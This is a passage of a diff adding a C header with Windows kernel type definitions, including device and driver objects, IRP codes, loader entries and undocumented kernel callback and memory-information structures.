0x00000001 +#define FILE_READ_ONLY_DEVICE 0x00000002 +#define FILE_FLOPPY_DISKETTE 0x00000004 +#define FILE_WRITE_ONCE_MEDIA 0x00000008 +#define FILE_REMOTE_DEVICE 0x00000010 +#define FILE_DEVICE_IS_MOUNTED 0x00000020 +#define FILE_VIRTUAL_VOLUME 0x00000040 +#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 +#define FILE_DEVICE_SECURE_OPEN 0x00000100 +#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 +#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 +#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 +#define FILE_CHARACTERISTIC_CSV 0x00010000 +#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000 +#define FILE_PORTABLE_DEVICE 0x00040000 + +#define FILE_DEVICE_BEEP 0x00000001 +#define FILE_DEVICE_CD_ROM 0x00000002 +#define FILE_DEVICE_CD_ROM_FILE_SYSTEM 0x00000003 +#define FILE_DEVICE_CONTROLLER 0x00000004 +#define FILE_DEVICE_DATALINK 0x00000005 +#define FILE_DEVICE_DFS 0x00000006 +#define FILE_DEVICE_DISK 0x00000007 +#define FILE_DEVICE_DISK_FILE_SYSTEM 0x00000008 +#define FILE_DEVICE_FILE_SYSTEM 0x00000009 +#define FILE_DEVICE_INPORT_PORT 0x0000000a +#define FILE_DEVICE_KEYBOARD 0x0000000b +#define FILE_DEVICE_MAILSLOT 0x0000000c +#define FILE_DEVICE_MIDI_IN 0x0000000d +#define FILE_DEVICE_MIDI_OUT 0x0000000e +#define FILE_DEVICE_MOUSE 0x0000000f +#define FILE_DEVICE_MULTI_UNC_PROVIDER 0x00000010 +#define FILE_DEVICE_NAMED_PIPE 0x00000011 +#define FILE_DEVICE_NETWORK 0x00000012 +#define FILE_DEVICE_NETWORK_BROWSER 0x00000013 +#define FILE_DEVICE_NETWORK_FILE_SYSTEM 0x00000014 +#define FILE_DEVICE_NULL 0x00000015 +#define FILE_DEVICE_PARALLEL_PORT 0x00000016 +#define FILE_DEVICE_PHYSICAL_NETCARD 0x00000017 +#define FILE_DEVICE_PRINTER 0x00000018 +#define FILE_DEVICE_SCANNER 0x00000019 +#define FILE_DEVICE_SERIAL_MOUSE_PORT 0x0000001a +#define FILE_DEVICE_SERIAL_PORT 0x0000001b +#define FILE_DEVICE_SCREEN 0x0000001c +#define FILE_DEVICE_SOUND 0x0000001d +#define FILE_DEVICE_STREAMS 0x0000001e +#define FILE_DEVICE_TAPE 0x0000001f +#define FILE_DEVICE_TAPE_FILE_SYSTEM 0x00000020 +#define FILE_DEVICE_TRANSPORT 0x00000021 +#define FILE_DEVICE_UNKNOWN 0x00000022 +#define FILE_DEVICE_VIDEO 0x00000023 +#define FILE_DEVICE_VIRTUAL_DISK 0x00000024 +#define FILE_DEVICE_WAVE_IN 0x00000025 +#define FILE_DEVICE_WAVE_OUT 0x00000026 +#define FILE_DEVICE_8042_PORT 0x00000027 +#define FILE_DEVICE_NETWORK_REDIRECTOR 0x00000028 +#define FILE_DEVICE_BATTERY 0x00000029 +#define FILE_DEVICE_BUS_EXTENDER 0x0000002a +#define FILE_DEVICE_MODEM 0x0000002b +#define FILE_DEVICE_VDM 0x0000002c +#define FILE_DEVICE_MASS_STORAGE 0x0000002d +#define FILE_DEVICE_SMB 0x0000002e +#define FILE_DEVICE_KS 0x0000002f +#define FILE_DEVICE_CHANGER 0x00000030 +#define FILE_DEVICE_SMARTCARD 0x00000031 +#define FILE_DEVICE_ACPI 0x00000032 +#define FILE_DEVICE_DVD 0x00000033 +#define FILE_DEVICE_FULLSCREEN_VIDEO 0x00000034 +#define FILE_DEVICE_DFS_FILE_SYSTEM 0x00000035 +#define FILE_DEVICE_DFS_VOLUME 0x00000036 +#define FILE_DEVICE_SERENUM 0x00000037 +#define FILE_DEVICE_TERMSRV 0x00000038 +#define FILE_DEVICE_KSEC 0x00000039 +#define FILE_DEVICE_FIPS 0x0000003A +#define FILE_DEVICE_INFINIBAND 0x0000003B +#define FILE_DEVICE_VMBUS 0x0000003E +#define FILE_DEVICE_CRYPT_PROVIDER 0x0000003F +#define FILE_DEVICE_WPD 0x00000040 +#define FILE_DEVICE_BLUETOOTH 0x00000041 +#define FILE_DEVICE_MT_COMPOSITE 0x00000042 +#define FILE_DEVICE_MT_TRANSPORT 0x00000043 +#define FILE_DEVICE_BIOMETRIC 0x00000044 +#define FILE_DEVICE_PMI 0x00000045 +#define FILE_DEVICE_EHSTOR 0x00000046 +#define FILE_DEVICE_DEVAPI 0x00000047 +#define FILE_DEVICE_GPIO 0x00000048 +#define FILE_DEVICE_USBEX 0x00000049 +#define FILE_DEVICE_CONSOLE 0x00000050 +#define FILE_DEVICE_NFP 0x00000051 +#define FILE_DEVICE_SYSENV 0x00000052 +#define FILE_DEVICE_VIRTUAL_BLOCK 0x00000053 +#define FILE_DEVICE_POINT_OF_SERVICE 0x00000054 +#define FILE_DEVICE_STORAGE_REPLICATION 0x00000055 +#define FILE_DEVICE_TRUST_ENV 0x00000056 +#define FILE_DEVICE_UCM 0x00000057 +#define FILE_DEVICE_UCMTCPCI 0x00000058 +#define FILE_DEVICE_PERSISTENT_MEMORY 0x00000059 +#define FILE_DEVICE_NVDIMM 0x0000005a +#define FILE_DEVICE_HOLOGRAPHIC 0x0000005b +#define FILE_DEVICE_SDFXHCI 0x0000005c +#define FILE_DEVICE_UCMUCSI 0x0000005d + +#define FILE_BYTE_ALIGNMENT 0x00000000 +#define FILE_WORD_ALIGNMENT 0x00000001 +#define FILE_LONG_ALIGNMENT 0x00000003 +#define FILE_QUAD_ALIGNMENT 0x00000007 +#define FILE_OCTA_ALIGNMENT 0x0000000f +#define FILE_32_BYTE_ALIGNMENT 0x0000001f +#define FILE_64_BYTE_ALIGNMENT 0x0000003f +#define FILE_128_BYTE_ALIGNMENT 0x0000007f +#define FILE_256_BYTE_ALIGNMENT 0x000000ff +#define FILE_512_BYTE_ALIGNMENT 0x000001ff + +#define DPC_NORMAL 0 +#define DPC_THREADED 1 + +#if _MSC_VER >= 1200 +#pragma warning(push) +#pragma warning(disable:4324) // structure was padded due to __declspec(align()) +#endif + +typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _DEVICE_OBJECT { + CSHORT Type; + USHORT Size; + LONG ReferenceCount; + struct _DRIVER_OBJECT* DriverObject; + struct _DEVICE_OBJECT* NextDevice; + struct _DEVICE_OBJECT* AttachedDevice; + struct _IRP* CurrentIrp; + PIO_TIMER Timer; + ULONG Flags; // See above: DO_... + ULONG Characteristics; // See ntioapi: FILE_... + __volatile PVPB Vpb; + PVOID DeviceExtension; + DEVICE_TYPE DeviceType; + CCHAR StackSize; + union { + LIST_ENTRY ListEntry; + WAIT_CONTEXT_BLOCK Wcb; + } Queue; + ULONG AlignmentRequirement; + KDEVICE_QUEUE DeviceQueue; + KDPC Dpc; + + // + // The following field is for exclusive use by the filesystem to keep + // track of the number of Fsp threads currently using the device + // + + ULONG ActiveThreadCount; + PSECURITY_DESCRIPTOR SecurityDescriptor; + KEVENT DeviceLock; + + USHORT SectorSize; + USHORT Spare1; + + struct _DEVOBJ_EXTENSION* DeviceObjectExtension; + PVOID Reserved; + +} DEVICE_OBJECT; + +typedef struct _DEVICE_OBJECT* PDEVICE_OBJECT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif + +typedef struct _DEVOBJ_EXTENSION { + + CSHORT Type; + USHORT Size; + + // + // Public part of the DeviceObjectExtension structure + // + + PDEVICE_OBJECT DeviceObject; // owning device object + + // end_ntddk end_nthal end_ntifs end_wdm end_ntosp + + // + // Universal Power Data - all device objects must have this + // + + ULONG PowerFlags; // see ntos\po\pop.h + // WARNING: Access via PO macros + // and with PO locking rules ONLY. + + // + // Pointer to the non-universal power data + // Power data that only some device objects need is stored in the + // device object power extension -> DOPE + // see po.h + // + + struct _DEVICE_OBJECT_POWER_EXTENSION *Dope; + + // + // power state information + // + + // + // Device object extension flags. Protected by the IopDatabaseLock. + // + + ULONG ExtensionFlags; + + // + // PnP manager fields + // + + PVOID DeviceNode; + + // + // AttachedTo is a pointer to the device object that this device + // object is attached to. The attachment chain is now doubly + // linked: this pointer and DeviceObject->AttachedDevice provide the + // linkage. + // + + PDEVICE_OBJECT AttachedTo; + + // + // The next two fields are used to prevent recursion in IoStartNextPacket + // interfaces. + // + + LONG StartIoCount; // Used to keep track of number of pending start ios. + LONG StartIoKey; // Next startio key + ULONG StartIoFlags; // Start Io Flags. Need a separate flag so that it can be accessed without locks + PVPB Vpb; // If not NULL contains the VPB of the mounted volume. + // Set in the filesystem's volume device object. + // This is a reverse VPB pointer. + + // begin_ntddk begin_wdm begin_nthal begin_ntifs begin_ntosp + +} DEVOBJ_EXTENSION, *PDEVOBJ_EXTENSION; + +typedef struct _FAST_IO_DISPATCH { + ULONG SizeOfFastIoDispatch; + PVOID FastIoCheckIfPossible; + PVOID FastIoRead; + PVOID FastIoWrite; + PVOID FastIoQueryBasicInfo; + PVOID FastIoQueryStandardInfo; + PVOID FastIoLock; + PVOID FastIoUnlockSingle; + PVOID FastIoUnlockAll; + PVOID FastIoUnlockAllByKey; + PVOID FastIoDeviceControl; + PVOID AcquireFileForNtCreateSection; + PVOID ReleaseFileForNtCreateSection; + PVOID FastIoDetachDevice; + PVOID FastIoQueryNetworkOpenInfo; + PVOID AcquireForModWrite; + PVOID MdlRead; + PVOID MdlReadComplete; + PVOID PrepareMdlWrite; + PVOID MdlWriteComplete; + PVOID FastIoReadCompressed; + PVOID FastIoWriteCompressed; + PVOID MdlReadCompleteCompressed; + PVOID MdlWriteCompleteCompressed; + PVOID FastIoQueryOpen; + PVOID ReleaseForModWrite; + PVOID AcquireForCcFlush; + PVOID ReleaseForCcFlush; +} FAST_IO_DISPATCH, *PFAST_IO_DISPATCH; + +#define IO_TYPE_ADAPTER 0x00000001 +#define IO_TYPE_CONTROLLER 0x00000002 +#define IO_TYPE_DEVICE 0x00000003 +#define IO_TYPE_DRIVER 0x00000004 +#define IO_TYPE_FILE 0x00000005 +#define IO_TYPE_IRP 0x00000006 +#define IO_TYPE_MASTER_ADAPTER 0x00000007 +#define IO_TYPE_OPEN_PACKET 0x00000008 +#define IO_TYPE_TIMER 0x00000009 +#define IO_TYPE_VPB 0x0000000a +#define IO_TYPE_ERROR_LOG 0x0000000b +#define IO_TYPE_ERROR_MESSAGE 0x0000000c +#define IO_TYPE_DEVICE_OBJECT_EXTENSION 0x0000000d + +#define IRP_MJ_CREATE 0x00 +#define IRP_MJ_CREATE_NAMED_PIPE 0x01 +#define IRP_MJ_CLOSE 0x02 +#define IRP_MJ_READ 0x03 +#define IRP_MJ_WRITE 0x04 +#define IRP_MJ_QUERY_INFORMATION 0x05 +#define IRP_MJ_SET_INFORMATION 0x06 +#define IRP_MJ_QUERY_EA 0x07 +#define IRP_MJ_SET_EA 0x08 +#define IRP_MJ_FLUSH_BUFFERS 0x09 +#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a +#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b +#define IRP_MJ_DIRECTORY_CONTROL 0x0c +#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d +#define IRP_MJ_DEVICE_CONTROL 0x0e +#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f +#define IRP_MJ_SHUTDOWN 0x10 +#define IRP_MJ_LOCK_CONTROL 0x11 +#define IRP_MJ_CLEANUP 0x12 +#define IRP_MJ_CREATE_MAILSLOT 0x13 +#define IRP_MJ_QUERY_SECURITY 0x14 +#define IRP_MJ_SET_SECURITY 0x15 +#define IRP_MJ_POWER 0x16 +#define IRP_MJ_SYSTEM_CONTROL 0x17 +#define IRP_MJ_DEVICE_CHANGE 0x18 +#define IRP_MJ_QUERY_QUOTA 0x19 +#define IRP_MJ_SET_QUOTA 0x1a +#define IRP_MJ_PNP 0x1b +#define IRP_MJ_PNP_POWER IRP_MJ_PNP +#define IRP_MJ_MAXIMUM_FUNCTION 0x1b + +typedef struct _DRIVER_EXTENSION { + + // + // Back pointer to Driver Object + // + + struct _DRIVER_OBJECT *DriverObject; + + // + // The AddDevice entry point is called by the Plug & Play manager + // to inform the driver when a new device instance arrives that this + // driver must control. + // + + PVOID AddDevice; + + // + // The count field is used to count the number of times the driver has + // had its registered reinitialization routine invoked. + // + + ULONG Count; + + // + // The service name field is used by the pnp manager to determine + // where the driver related info is stored in the registry. + // + + UNICODE_STRING ServiceKeyName; + +} DRIVER_EXTENSION, *PDRIVER_EXTENSION; + +#define DRVO_UNLOAD_INVOKED 0x00000001 +#define DRVO_LEGACY_DRIVER 0x00000002 +#define DRVO_BUILTIN_DRIVER 0x00000004 // Driver objects for Hal, PnP Mgr +#define DRVO_REINIT_REGISTERED 0x00000008 +#define DRVO_INITIALIZED 0x00000010 +#define DRVO_BOOTREINIT_REGISTERED 0x00000020 +#define DRVO_LEGACY_RESOURCES 0x00000040 +// end_ntddk end_nthal end_ntifs end_ntosp +#define DRVO_BASE_FILESYSTEM_DRIVER 0x00000080 // A driver that is at the bottom of the filesystem stack. +// begin_ntddk begin_nthal begin_ntifs begin_ntosp + +typedef struct _DRIVER_OBJECT { + CSHORT Type; + CSHORT Size; + + // + // The following links all of the devices created by a single driver + // together on a list, and the Flags word provides an extensible flag + // location for driver objects. + // + + PDEVICE_OBJECT DeviceObject; + ULONG Flags; + + // + // The following section describes where the driver is loaded. The count + // field is used to count the number of times the driver has had its + // registered reinitialization routine invoked. + // + + PVOID DriverStart; + ULONG DriverSize; + PVOID DriverSection; //PLDR_DATA_TABLE_ENTRY + PDRIVER_EXTENSION DriverExtension; + + // + // The driver name field is used by the error log thread + // determine the name of the driver that an I/O request is/was bound. + // + + UNICODE_STRING DriverName; + + // + // The following section is for registry support. Thise is a pointer + // to the path to the hardware information in the registry + // + + PUNICODE_STRING HardwareDatabase; + + // + // The following section contains the optional pointer to an array of + // alternate entry points to a driver for "fast I/O" support. Fast I/O + // is performed by invoking the driver routine directly with separate + // parameters, rather than using the standard IRP call mechanism. Note + // that these functions may only be used for synchronous I/O, and when + // the file is cached. + // + + PFAST_IO_DISPATCH FastIoDispatch; + + // + // The following section describes the entry points to this particular + // driver. Note that the major function dispatch table must be the last + // field in the object so that it remains extensible. + // + + PVOID DriverInit; + PVOID DriverStartIo; + PVOID DriverUnload; + PVOID MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; + +} DRIVER_OBJECT; +typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT; + +// +// The following structure is pointed to by the SectionObject pointer field +// of a file object, and is allocated by the various NT file systems. +// + +typedef struct _SECTION_OBJECT_POINTERS { + PVOID DataSectionObject; + PVOID SharedCacheMap; + PVOID ImageSectionObject; +} SECTION_OBJECT_POINTERS; +typedef SECTION_OBJECT_POINTERS* PSECTION_OBJECT_POINTERS; + +// +// Define the format of a completion message. +// + +typedef struct _IO_COMPLETION_CONTEXT { + PVOID Port; + PVOID Key; +} IO_COMPLETION_CONTEXT, * PIO_COMPLETION_CONTEXT; + +typedef struct _FILE_OBJECT { + CSHORT Type; + CSHORT Size; + PDEVICE_OBJECT DeviceObject; + PVPB Vpb; + PVOID FsContext; + PVOID FsContext2; + PSECTION_OBJECT_POINTERS SectionObjectPointer; + PVOID PrivateCacheMap; + NTSTATUS FinalStatus; + struct _FILE_OBJECT* RelatedFileObject; + BOOLEAN LockOperation; + BOOLEAN DeletePending; + BOOLEAN ReadAccess; + BOOLEAN WriteAccess; + BOOLEAN DeleteAccess; + BOOLEAN SharedRead; + BOOLEAN SharedWrite; + BOOLEAN SharedDelete; + ULONG Flags; + UNICODE_STRING FileName; + LARGE_INTEGER CurrentByteOffset; + __volatile ULONG Waiters; + __volatile ULONG Busy; + PVOID LastLock; + KEVENT Lock; + KEVENT Event; + __volatile PIO_COMPLETION_CONTEXT CompletionContext; + KSPIN_LOCK IrpListLock; + LIST_ENTRY IrpList; + __volatile PVOID FileObjectExtension; +} FILE_OBJECT; +typedef struct _FILE_OBJECT* PFILE_OBJECT; + +#define RESOURCE_TYPE_LEVEL 0 +#define RESOURCE_NAME_LEVEL 1 +#define RESOURCE_LANGUAGE_LEVEL 2 +#define RESOURCE_DATA_LEVEL 3 + +typedef struct _LDR_RESOURCE_INFO { + ULONG_PTR Type; + ULONG_PTR Name; + ULONG Lang; +} LDR_RESOURCE_INFO, *PLDR_RESOURCE_INFO; + +typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + } DUMMYUNION0; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + union + { + ULONG Flags; + struct + { + ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1 + ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1 + ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1 + ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1 + ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1 + ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1 + ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1 + ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1 + ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1 + ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1 + ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2 + ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1 + ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1 + ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1 + ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1 + ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2 + ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1 + ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1 + ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1 + ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1 + ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1 + ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1 + ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1 + ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1 + ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2 + ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1 + ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2 + ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1 + }; + } ENTRYFLAGSUNION; + WORD ObsoleteLoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + } DUMMYUNION1; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + } DUMMYUNION2; + //fields below removed for compatibility +} LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE; +typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY; +typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE *PLDR_DATA_TABLE_ENTRY; +typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { + ULONG Flags; //Reserved. + PCUNICODE_STRING FullDllName; //The full path name of the DLL module. + PCUNICODE_STRING BaseDllName; //The base file name of the DLL module. + PVOID DllBase; //A pointer to the base address for the DLL in memory. + ULONG SizeOfImage; //The size of the DLL image, in bytes. +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA { + ULONG Flags; //Reserved. + PCUNICODE_STRING FullDllName; //The full path name of the DLL module. + PCUNICODE_STRING BaseDllName; //The base file name of the DLL module. + PVOID DllBase; //A pointer to the base address for the DLL in memory. + ULONG SizeOfImage; //The size of the DLL image, in bytes. +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA { + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; +typedef const LDR_DLL_NOTIFICATION_DATA *PCLDR_DLL_NOTIFICATION_DATA; + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +typedef enum _LDR_DLL_LOAD_REASON { + LoadReasonStaticDependency, + LoadReasonStaticForwarderDependency, + LoadReasonDynamicForwarderDependency, + LoadReasonDelayloadDependency, + LoadReasonDynamicLoad, + LoadReasonAsImageLoad, + LoadReasonAsDataLoad, + LoadReasonEnclavePrimary, + LoadReasonEnclaveDependency, + LoadReasonUnknown = -1 +} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON; + +/* +* WDM END +*/ + + +/* +** Callbacks START +*/ + +typedef struct _EX_CALLBACK { + EX_FAST_REF RoutineBlock; +} EX_CALLBACK, *PEX_CALLBACK; + +typedef struct _EX_CALLBACK_ROUTINE_BLOCK { + EX_RUNDOWN_REF RundownProtect; + PVOID Function; //PEX_CALLBACK_FUNCTION + PVOID Context; +} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK; + +typedef struct _KBUGCHECK_CALLBACK_RECORD { + LIST_ENTRY Entry; + PVOID CallbackRoutine; + PVOID Buffer; + ULONG Length; + PUCHAR Component; + ULONG_PTR Checksum; + UCHAR State; +} KBUGCHECK_CALLBACK_RECORD, *PKBUGCHECK_CALLBACK_RECORD; + +typedef enum _KBUGCHECK_CALLBACK_REASON { + KbCallbackInvalid, + KbCallbackReserved1, + KbCallbackSecondaryDumpData, + KbCallbackDumpIo, + KbCallbackAddPages, + KbCallbackSecondaryMultiPartDumpData, + KbCallbackRemovePages, + KbCallbackTriageDumpData +} KBUGCHECK_CALLBACK_REASON; + +typedef struct _KBUGCHECK_REASON_CALLBACK_RECORD { + LIST_ENTRY Entry; + PVOID CallbackRoutine; + PUCHAR Component; + ULONG_PTR Checksum; + KBUGCHECK_CALLBACK_REASON Reason; + UCHAR State; +} KBUGCHECK_REASON_CALLBACK_RECORD, *PKBUGCHECK_REASON_CALLBACK_RECORD; + +typedef struct _CM_CALLBACK_CONTEXT_BLOCK { + LIST_ENTRY CallbackListEntry; + LIST_ENTRY PreCallListHead; + PVOID Unknown1; + PVOID Function; //PEX_CALLBACK_FUNCTION + UNICODE_STRING Altitude; + LIST_ENTRY ObjectContextListHead; +} CM_CALLBACK_CONTEXT_BLOCK, *PCM_CALLBACK_CONTEXT_BLOCK; + +typedef struct _SEP_LOGON_SESSION_TERMINATED_NOTIFICATION { + struct _SEP_LOGON_SESSION_TERMINATED_NOTIFICATION *Next; + PVOID CallbackRoutine; //PSE_LOGON_SESSION_TERMINATED_ROUTINE +} SEP_LOGON_SESSION_TERMINATED_NOTIFICATION, *PSEP_LOGON_SESSION_TERMINATED_NOTIFICATION; + +typedef struct _NOTIFICATION_PACKET { + LIST_ENTRY ListEntry; + PVOID DriverObject; //PDRIVER_OBJECT + PVOID NotificationRoutine; //PDRIVER_FS_NOTIFICATION +} NOTIFICATION_PACKET, *PNOTIFICATION_PACKET; + +typedef struct _SHUTDOWN_PACKET { + LIST_ENTRY ListEntry; + PVOID DeviceObject; //PDEVICE_OBJECT +} SHUTDOWN_PACKET, *PSHUTDOWN_PACKET; + +#define EX_CALLBACK_SIGNATURE 'llaC' + +typedef struct _CALLBACK_OBJECT { + ULONG Signature; + KSPIN_LOCK Lock; + LIST_ENTRY RegisteredCallbacks; + BOOLEAN AllowMultipleCallbacks; + UCHAR reserved[3]; +} CALLBACK_OBJECT, *PCALLBACK_OBJECT; + +typedef struct _CALLBACK_REGISTRATION { + LIST_ENTRY Link; + PCALLBACK_OBJECT CallbackObject; + PVOID CallbackFunction; //PCALLBACK_FUNCTION + PVOID CallbackContext; + ULONG Busy; + BOOLEAN UnregisterWaiting; +} CALLBACK_REGISTRATION, *PCALLBACK_REGISTRATION; + +typedef ULONG OB_OPERATION; + +typedef struct _OB_CALLBACK_CONTEXT_BLOCK { + LIST_ENTRY CallbackListEntry; + OB_OPERATION Operations; + ULONG Flags; + PVOID Registration; //POB_CALLBACK_REGISTRATION + POBJECT_TYPE ObjectType; + PVOID PreCallback; //POB_PRE_OPERATION_CALLBACK + PVOID PostCallback; //POB_POST_OPERATION_CALLBACK + EX_RUNDOWN_REF RundownReference; +} OB_CALLBACK_CONTEXT_BLOCK, *POB_CALLBACK_CONTEXT_BLOCK; + +typedef struct _OB_OPERATION_REGISTRATION { + PVOID *ObjectType; + OB_OPERATION Operations; + PVOID PreOperation; + PVOID PostOperation; +} OB_OPERATION_REGISTRATION, *POB_OPERATION_REGISTRATION; + +typedef struct _OB_CALLBACK_REGISTRATION { + USHORT Version; + USHORT OperationRegistrationCount; + UNICODE_STRING Altitude; + PVOID RegistrationContext; + OB_OPERATION_REGISTRATION *OperationRegistration; +} OB_CALLBACK_REGISTRATION, *POB_CALLBACK_REGISTRATION; + +#define PO_POWER_SETTINGS_REGISTRATION_TAG 'teSP' + +typedef struct _POP_POWER_SETTING_REGISTRATION_V1 { + LIST_ENTRY Link; + ULONG Tag; + PVOID CallbackThread; //PKTHREAD + UCHAR UnregisterOnReturn; + UCHAR UnregisterPending; + GUID Guid; + PVOID LastValue; //PPOP_POWER_SETTING_VALUE + PVOID Callback; + PVOID Context; + PDEVICE_OBJECT DeviceObject; +} POP_POWER_SETTING_REGISTRATION_V1, *PPOP_POWER_SETTING_REGISTRATION_V1; + +// +// WARNING: this structure definition is incomplete. +// Tail is incorrect/incomplete for newest Win10 versions. +// +typedef struct _POP_POWER_SETTING_REGISTRATION_V2 { + LIST_ENTRY Link; + ULONG Tag; + PVOID CallbackThread; //PKTHREAD + UCHAR UnregisterOnReturn; + UCHAR UnregisterPending; + GUID Guid; + GUID Guid2; + PVOID LastValue; //PPOP_POWER_SETTING_VALUE + PVOID Callback; + PVOID Context; + PDEVICE_OBJECT DeviceObject; +} POP_POWER_SETTING_REGISTRATION_V2, *PPOP_POWER_SETTING_REGISTRATION_V2; + +typedef struct _RTL_CALLBACK_REGISTER { + ULONG Flags; + EX_RUNDOWN_REF RundownReference; + PVOID DebugPrintCallback; + LIST_ENTRY ListEntry; +} RTL_CALLBACK_REGISTER, *PRTL_CALLBACK_REGISTER; + +/* +** Callbacks END +*/ + +/* +* NTQSI Modules START +*/ + +typedef struct _RTL_PROCESS_MODULE_INFORMATION { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX { + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; + +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +/* +* NTQSI Modules END +*/ + +/* +** Virtual Memory START +*/ + +typedef enum _MEMORY_INFORMATION_CLASS { + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation, + MemorySharedCommitInformation, + MemoryImageInformation, + MemoryRegionInformationEx, + MemoryPrivilegedBasicInformation, + MemoryEnclaveImageInformation, + MemoryBasicInformationCapped +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS { + VmPrefetchInformation, + VmPagePriorityInformation, + VmCfgCallTargetInformation, + VmPageDirtyStateInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct _MEMORY_REGION_INFORMATION { + PVOID AllocationBase; + ULONG AllocationProtect; + union + { + ULONG RegionType; + struct + { + ULONG Private : 1; + ULONG MappedDataFile : 1; + ULONG MappedImage : 1; + ULONG MappedPageFile : 1; + ULONG MappedPhysical : 1; + ULONG DirectMapped : 1; + ULONG SoftwareEnclave : 1; + ULONG PageSize64K : 1; + ULONG Reserved : 24; + }; + }; + SIZE_T RegionSize; + //SIZE_T CommitSize; +} 